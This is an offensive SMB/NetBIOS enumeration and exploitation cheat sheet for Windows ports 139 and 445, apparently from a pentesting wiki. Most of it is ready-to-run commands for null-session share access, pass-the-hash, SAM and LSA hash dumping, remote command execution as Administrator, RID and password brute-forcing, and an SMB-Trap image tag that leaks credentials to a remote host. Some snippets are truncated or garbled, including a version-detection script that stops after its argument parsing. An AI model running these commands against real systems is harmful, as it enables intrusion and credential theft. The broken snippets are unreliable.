Port 139
NetBIOS stands for Network Basic Input Output System. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over TCP Port 139. (extracted from here)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
Port 445
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** (extracted from here)

IPC$ share
From book Network Security Assessment 3rd edition
With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:
- Operating system information
- Details of the parent domain
- A list of local users and groups
- Details of available SMB shares
- The effective system security policy
What is NTLM
If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about NTLM where is explained how this protocol works and how you can take advantage of it.
Enumeration
Scan a network searching for hosts:
nbtscan -r 192.168.0.1/24
SMB server version
To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
- Use the MSF auxiliary module _auxiliary/scanner/smb/smb_version
- _Or** this script**:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi

- List users:
querydispinfo
andenumdomusers
- Get user details:
queryuser <0xrid>

GUI connection from linux
In the terminal:
xdg-open smb://cascade.htb/
In file browser window (nautilus, thunar, etc)
smb://friendzone.htb/general/
List shared folders
It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
Connect/List a shared folder
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
Manually enumerate windows shares and connect to them
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Common share names from Network Security Assessment 3rd edition)
You can try to connect to them by using the following command
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
or this script (using a null session)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
examples
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Mount a shared folder
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
Download files
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
Commands:
- mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
- recurse: toggles recursion on (default: off)
- prompt: toggles prompting for filenames off (default: on)
- mget: copies all files matching the mask from host to client machine
(Information from the manpage of smbclient)
Read Registry
You may be able to read the registry using some discovered credentials. Impacket reg.py
allows you to try:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
Local users
Enumerate local users with SID brute-forcing:
With Impacket
:
lookupsid.py -no-pass hostname.local
With Metasploit
:
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
Note: rpcclient
command lookupsids
only translates a SID to a username but doesn't allow enumeration via brute-forcing.
Authenticate using Kerberos
You can authenticate to kerberos using the tools smbclient and rpcclient:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
Execute
crackmapexec
crackmapexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter --exec-method
:
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
psexec/smbexec
Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
More info about psexec and smbexec.

Bruteforce users credentials
This is not recommended, you could block an account if you exceed the maximum allowed tries
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername
SMB relay attack
This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell.
More information about this attack here.
SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"
This happens with the funcions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
